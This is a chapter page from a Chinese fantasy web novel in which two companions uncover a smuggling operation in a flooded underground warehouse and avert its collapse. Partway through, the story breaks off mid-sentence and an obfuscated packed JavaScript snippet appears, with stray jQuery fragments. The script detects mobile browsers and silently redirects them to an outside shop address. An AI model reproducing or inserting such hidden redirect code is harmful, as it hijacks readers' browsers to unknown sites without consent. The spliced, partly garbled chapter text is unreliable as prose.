文趣网 > 其他小说 > 人间借我三千愿 > 41. 第41章 河仓旧名
    石门在头顶合拢,河滩上的灯火与人声一并远去。

    向下的石阶窄而陡,临水一侧连道矮栏都没有。晏知还提灯在前,手掌仍牵着虞岁晚,脚下遇见松动石块,他先以靴尖拨开,再带她跨过去。阿白原本跟在后面,踩湿两回爪子就不肯走了,纵身跃上虞岁晚肩头,尾巴横扫灯罩,险些把火苗扑熄。

    “阿白,收一收。”晏知还把灯移远。

    虞岁晚听得新鲜:“你如今管它,倒比我还顺口。”

    阿白把小脸儿埋进她发间,显然不愿领这份管束。

    走完石阶,前方开出一座宽阔河仓。成排木柱托着低矮穹顶,柱脚包铜,地上铺有运货木轨,墙边散着车轴、木辊与几只破损水柜。旧墨书被潮气洇得模糊,尚能辨出“北仓”“盐引另封”一类字样。

    早年官渡繁盛,上游来的粮、盐、药材先在这里清点换船,贵重货物与公文不走露天码头,直接从涵洞送入地底;后来河道东移,转般仓废了,上面的税榜烂成纸泥,地下这套东西反被人收拾出来,做起见不得光的买卖。

    虞岁晚刚准备将灯往木轨边照,晏知还已经横过剑鞘:“脚下别落。”

    剑鞘轻点前方青砖,砖面向下一沉,十余根黑线骤然从梁间绷直,两侧货架齐齐翻开,藏在后头的木偶持刀扑出,关节转动时发出令人牙酸的摩擦声。

    剑锋离鞘不过三寸。

    银白玄光沿地面木轨奔行,先截断操纵木偶的细线,又越过虞岁晚裙边,钉入四角铜柱。那些木偶还维持着前扑的姿势,身上铁刀已寸寸裂开,紧接着被一道无形重力压回墙内,连扬起的陈灰也没越过两人身前。

    阿白从虞岁晚肩头探出脑袋,看看散了一地的木头,又看向晏知还,前爪悄悄往回缩了缩。

    虞岁晚替它把尾巴从灯罩旁挪开:“现在知道该听谁的话了?”

    晏知还收剑入鞘,俯身捻起断线。丝线外染乌漆,内里揉了兽筋,既耐水又受得住骤然牵扯,与黑篷船人偶胸腔中的一模一样。他顺着线头找到墙角转轮,略一试力,涵洞方向传来木轮滚动之声,一座空架沿轨道滑来,恰能接住船上送下的木盘。

    涵洞另一头还泊着半截黑篷船,船身藏在石壁后,只露出湿漉漉的船尾。老妇人借给他们的破铃搁在木架上,外头缠了一圈细线,寄影符已经被撕去,铃身倒没再添损伤。

    所谓无人驾驭的怪船,靠的无非水势、暗闸与地底绳轮。五更市的人只见戴黑手套的左手,以为收货者藏在篷中,谁能想到伸手验货的从头到尾都是一具木偶。

    虞岁晚收起破铃,想着出去后得原样还给老妇人。老人嘴上虽说照价赔偿,看她昨日抱着铜铃那副宝贝模样,真把东西丢了,只怕不是银钱能够安抚的。

    河仓北墙另有一道石门,门上嵌着九格铜盘,每格皆刻残缺云雷纹。晏知还将灯交给虞岁晚,右掌覆上中央,三枚暗扣应声陷落;手腕沿盘面一转,藏在内里的机簧相继咬合,厚重石门朝两边退开,做法熟得像他昨日才来过。

    虞岁晚举灯照着铜盘:“想起什么没有?”

    “没有。”晏知还把掌心沾到的铜绿擦去,“认得机关,总比站在这里拆墙省事。至于是谁教的,进去或许能找到答案;找不到,也不耽误我们查今日的事。”

    语气寻常,连一道多余的波澜也没有。

    虞岁晚原本还备了几句开解,眼下看来全派不上用场。这个人才不是一扇门就能吓得进退失据的性子。他没有过去可依靠,照样凭一身本事从白石渡走到今日;醒来时身边空无一人,也没耽误他替旁人解厄除祟。若非他自己提起失忆,寻常人哪里看得出他心里少了一段岁月。

    门后立满窄柜,格中存着木牌、价签和退货纸条。朔望各成一册,最早可追到九年前。收货标准多年未改,只取乌黑铜质的铃壳、铃舌与铃心,后来仿造纹样的黄铜器一概退回;收进来的东西又以圆、缺月、三角三种朱印分开,去向并未写在明面上。

    柜旁摆着一张长案,案角压着几枚旧渡司木印,早已作废,却被人拿来伪造验货凭据。许多摊主以为黑篷船背后是个有门路的官家人物,也正因如此,才肯将来路不明的旧器交出去。

    晏知还翻到近两月,渠北曹家的蜡模、临水旧宅、边地军镇与显济祠赫然在列。这里的人不但收旧铃,也在追每一处异响,有些记载甚至早于他们数月。

    “他们知道曹家蜡模毁了,也知道显济祠的铃没能带走。”虞岁晚用一张空纸拓下朱记,“消息来得这么快,各处应当都留着眼线。未必人人知道自己替谁办事,有些不过是旧器商、脚夫或当地闲汉,拿钱传句话罢了。”

    “要把这些人全揪出来,反而容易惊动真正做主的。”晏知还从账册中挑出几张字迹相同的纸页,“先认笔迹,顺着发令的人往上找。”

    阿白沿柜脚嗅了一路,猛地扑向最底下那层,爪子从木板后勾出一册发霉薄簿。虞岁晚接过来,纸页已经粘连,只能一张张揭开。翻到中间时,灯下出现了三个熟悉的字。

    白石渡。

    其下只有寥寥一行:

    “夏末,水厄已解,醒者一,铃未应,留观。”

    日期正是晏知还醒来的那一日。

    虞岁晚将簿册转过去。晏知还读完,把那页纸铺平,目光冷静得如同在查一条与己无关的线索。

    “我醒来时在渡口上游,身边只有剑和浸透的外袍。”他道,“附近有人被水里的东西缠住,求救声传到岸上。我先把人带回来,又沿残下的阴气追到白石渡。后来遇见你,也是在查那一带的怪事。”

    虞岁晚对初见那日记得很清楚。那时的晏知还已经衣冠齐整,说话有礼,遇事也稳妥得很,半点不像才从一段空白里醒来。她还猜过此人师承何处,怎么偏在荒僻渡口替素不相识的人奔走,如今才知道,他连自己从哪来都没弄清,已经先管起别人的生死。

    “所以你睁眼以后做的第一件事,是救人。”她将薄簿合上,“后来遇见谁有难,你也从没袖手旁观。这里的人爱把你记成什么随他们,我认得的是现在站在我身边的晏知还。过去查清自然好,真查出些乱七八糟的事,也不能越过你如今做过的这些。”

    灯火照着他沉静的眉目。

    晏知还将簿册接进手中:“我也是这样想。”

    他回答得没有半分勉强,虞岁晚反而更安心。她愿意替他撑腰是一回事,他自己能站得稳,又是另一回事;一路同行,晏知还从来不是一个处处等她安抚的人,而是能够将后背交给彼此的同路者。

    ——叮铃,四面墙壁在这时同时传出铃声。

    砖缝、梁腹与地板下的云雷纹相互勾连,将远处某种震动层层放大,整座河仓如同罩进巨钟。阿白胸前的铜簪跟着颤动,小狐狸吃痛伏低,虞岁晚挥袖布下隔音障,金光罩住三人,但脚下木轨仍被震得上下弹跳。

    河仓外侧传来闸门开启的轰鸣。涵洞水位猛涨,黑水推着浮冰灌入木轨,不出一盏茶工夫,地下仓房就会被整片淹没;上方五更市正聚着数百人,一旦地基被冲空,废仓连

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838923|211575||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    同河滩都会陷下去。

    晏知还把薄簿交给虞岁晚:“带阿白去石门内,护住这些册子。”

    “你准备拦整条暗河?”

    “让水回它原本的路。”

    长剑出鞘,三十六道玄纹从他脚下展开,沿木轨直入涵洞。冲进河仓的黑水像撞上一面无形长堤,浪头卷到半空,又被剑势分成左右两股,顺着旧日排水渠奔向下游。两根腐坏木柱承受不住水压,发出断裂声,他反手一剑钉入穹顶,银纹攀上梁架,摇晃的河仓顷刻定住。

    暗处操纵水闸的人显然没料到他能硬改水势。东墙后传出仓促脚步,一道黑影撞开夹门,直奔水道。

    晏知还连位置都未挪动,剑刃在掌中一转。那人脚下的积水骤然化作数条银索,缠住腕踝,将他从半开的水门前拖回仓中。黑衣人摔在木轨上,嘴里刚咬破□□蜡丸,下颌已被剑鞘卸开,毒物连同半颗牙落进污水。

    “机关败了就ka慷慨赴死?看来你的主家从没打算让你回去复命。”晏知还俯身封住他胸前气穴,又从其后颈揭下一枚藏在衣领中的催魂符,“你不肯开口不要紧,这道符能沿着施术者的气息找回去。”

    黑衣人原本还死死瞪着他,看到那张符,眼里的狠意终于裂开。

    这人只负责看守河仓,每逢朔望,指令由水道木偶送来;谁来收走货物、旧铃最后运往何处,他全不知情。主家在他身上留下催魂符,若据点失守,符火会烧毁魂魄,连鬼都做不成。

    虞岁晚把符夹进两指之间,轻轻一抖,猩红纹路随即褪成灰烬:“替人干活还搭上来生,这份工钱未免太不划算。你今日能活,是晏知还手快,往后到了官府,该交代什么自己掂量。”

    她从黑衣人袖中搜出一枚细长铜签。正面刻着“北渡口”,背面另有小字,约晏知还今夜子时独自赴约。

    “只许你一个人。”虞岁晚晃了晃铜签,“人家规矩挺多。”

    晏知还收回剑诀,最后一股暗流也被送回涵洞:“他的规矩管不到你。今夜我从正面去,你在外围看阵;阿白认得此人身上的药粉,正好找藏起来的眼睛。”

    安排得清楚利落,压根没有把她留下的意思。

    虞岁晚将铜签收入袖中:“还算懂事。”

    水位逐渐退回涵洞,河仓上方重新传来摊贩搬动木箱的声响。五更市依旧热闹,数百人并不知道脚底方才险些垮掉一层。晏知还合上暗闸,在入口布下一道示警禁制,又用旧缆将黑衣人捆牢。

    回到河滩时,晨光已经铺过旧码头。

    卖残铜的老妇人抱着手炉守在原处,见他们从货仓后面出来,先数了数人头,又朝虞岁晚怀里寻找自己的破铃。东西一拿到手,她翻来覆去验了三遍,确认没有少掉一块,嘴上仍把黑篷船骂得祖宗十八代都不得安宁。

    虞岁晚二人随后通知了渡司差役,将黑衣人与旧仓里的伪印一并带走。晏知还没有多提玄门之事,只把私占官仓、操纵暗船、险些冲塌码头的证据逐一摆出来。渡口靠水吃饭,暗闸若再开一次,遭殃的不止五更市,连下游停泊的客船也逃不过去,几个差役听得后背发寒,当场派人封了废仓。

    等杂事处置妥当,太阳已经越过长堤。

    阿白在河滩上嗅了嗅黑衣人留下的气味,朝北岸扬起尖嘴。晏知还牵来黑马,检查过鞍带,又将青骡缰绳递给虞岁晚。

    今夜北渡口还有一场约。

    那人想见的是过去的谁,并不要紧。

    去赴约的,是此刻与虞岁晚并肩而行的晏知还。